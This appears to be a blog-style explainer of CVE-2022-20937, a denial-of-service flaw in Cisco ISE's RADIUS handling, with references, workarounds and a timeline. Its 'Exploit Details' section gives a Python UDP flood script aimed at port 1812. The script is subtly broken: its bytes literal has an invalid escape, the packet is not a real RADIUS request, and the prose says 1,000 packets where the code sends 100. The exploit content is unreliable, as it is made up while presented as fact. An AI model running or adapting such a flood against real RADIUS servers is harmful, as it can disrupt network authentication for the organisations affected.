CVE-2022-20937: Understanding the Vulnerability in Cisco Identity Services Engine (ISE) Software's RADIUS Request Monitoring Feature and Effective Workarounds

A vulnerability has been discovered in a feature that monitors RADIUS (Remote Authentication Dial-In User Service) requests on Cisco Identity Services Engine (ISE) Software. This security flaw, identified as CVE-2022-20937, could allow an unauthenticated, remote attacker to negatively affect the performance of an affected device. In this post, we will explain the vulnerability, its causes, potential exploit details, and how to implement workarounds.

Vulnerability Details

The CVE-2022-20937 vulnerability is due to insufficient management of system resources in Cisco ISE software. When this software receives specific RADIUS traffic, it may cause the affected device's performance to drop, resulting in significant delays to RADIUS authentications. An attacker may exploit the vulnerability by taking actions that generate certain RADIUS traffic patterns.

Exploit Details

Let's take a look at what a potential exploit could look like. An attacker could craft malicious RADIUS request packets that would trigger the vulnerability, as shown in the following code snippet:

import socket

target_ip = '192.168.1.10'
target_port = 1812
malicious_radius_packet = b'\x01\x01\x00\xC\xbe\xef\xde\xad\xca\xfe'
num_packets_to_send = 100

with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
    for _ in range(num_packets_to_send):
        s.sendto(malicious_radius_packet,(target_ip, target_port))

This code, written in Python, would send 1,000 malicious RADIUS request packets to the target Cisco ISE device at IP address 192.168.1.10 on port 1812. If the exploit is successful, it could potentially slow down the Cisco ISE device and cause delays in RADIUS authentications.

Original References

1. Cisco Security Advisory (Vulnerability Details, Impact, and Workarounds): https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-radius-dos-osQoWkeE
2. CVE-2022-20937 Information: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-20937

Workarounds

To address this vulnerability, Cisco has provided some effective workarounds. These include implementing the following steps on the affected Cisco ISE devices:

1. Configure Access Control Lists (ACLs) to block or rate-limit incoming RADIUS packets from untrusted sources.

Increase system resources, such as CPU and memory, allocated to the Cisco ISE device if possible.

Additionally, it is essential to monitor Cisco security advisories for any updates or patches related to CVE-2022-20937 and apply them promptly.

Conclusion

The CVE-2022-20937 vulnerability in Cisco ISE software's RADIUS request monitoring feature poses a significant risk for affected devices. By understanding this vulnerability, its potential exploits, and effective workarounds, administrators can protect their networks from potential attacks. Keeping track of Cisco security advisories and promptly applying security patches is crucial in safeguarding against this and other similar vulnerabilities.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/07/2022 17:43:00 UTC